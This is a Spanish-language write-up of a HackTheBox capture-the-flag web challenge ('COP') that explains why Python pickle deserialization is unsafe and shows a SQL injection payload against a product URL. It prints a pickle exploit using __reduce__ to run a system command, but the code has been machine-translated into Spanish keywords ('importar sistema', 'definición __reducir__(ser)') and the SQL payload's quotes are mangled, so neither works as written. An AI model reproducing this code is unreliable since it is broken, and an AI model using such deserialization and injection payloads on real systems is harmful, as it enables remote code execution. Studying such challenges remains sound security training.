Cubrimos la biblioteca de Python Pickle y explicamos por qué ya no es segura. Además, demostramos cómo explotar una aplicación web que implementa la biblioteca pickle junto con la inyección SQL. Esto fue parte de Desafío web HackTheBox COP.

Obtenga notas del certificado OSCP

El curso completo de pruebas de penetración con BackBox

DESCRIPCIÓN DEL RETO

El COP (Cult of Pickles) ha puesto en marcha una nueva tienda web para vender su mercancía. ¡Creemos que los fondos se están utilizando para llevar a cabo operaciones de propaganda ilícitas basadas en pepinillos! ¡Investiga el sitio e intenta encontrar una forma de acceder a su funcionamiento!

Vídeos destacados

La URL vulnerable:

http://ip:puerto/producto/vista/1

El parámetro "1" se puede reemplazar con una carga útil SQL clásica como "O" 1 "=" 1

El código fuente del desafío revela que la aplicación web utiliza Python Pickling para serializar y deserializar datos.

El módulo pickle implementa protocolos binarios para serializar y deserializar una estructura de objetos de Python. _“Decapado”_ es el proceso mediante el cual una jerarquía de objetos de Python se convierte en un flujo de bytes, y _“deseleccionado”_ es la operación inversa, mediante la cual un flujo de bytes (de un archivo binario o de un objeto similar a bytes se convierte nuevamente en un Jerarquía de objetos.

Python declaró que no es seguro deshacer el pickle porque es posible construir datos de pickle maliciosos que **ejecutarán código arbitrario durante el desenganche**. Nunca elimine datos que podrían haber venido de una fuente que no es confiable, o que podrían haber sido manipulados como lo expresó Python. El decapado y el deseleccionado se pueden realizar usando `pickle.dumps` y `pickle.loads` respectivamente.
La explotación de `pickle` se puede realizar usando `__reduce__`, lo que nos permite obtener la ejecución de código en los datos seleccionados.
Finalmente, el propósito de explotar "pickle" es crear/modificar un pickle para ejecutar comandos del sistema en el objetivo.

Usamos el siguiente código de explotación para resolver el desafío.

importar sistema
importar base64
importar pepinillo
importar urllib.parse
importar peticiones
importar sistema operativo

carga útil = “cp flag.txt aplicación/estática/.”

clase Exp:

definición __reducir__(ser):
devolver sistema operativo, (carga útil,)

si __nombre__ == "__principal__":

carga útil = base64.b64encode(pickle.dumps(Exp())).decode()

imprimir(carga útil)

Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos